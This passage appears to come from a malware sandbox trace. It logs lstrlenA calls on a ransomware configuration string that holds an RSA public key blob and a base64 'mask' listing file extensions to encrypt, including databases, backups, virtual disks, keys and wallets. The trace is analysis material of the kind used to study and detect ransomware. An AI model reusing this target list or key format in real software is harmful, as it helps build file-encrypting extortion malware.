FpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.471] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.471] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.471] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0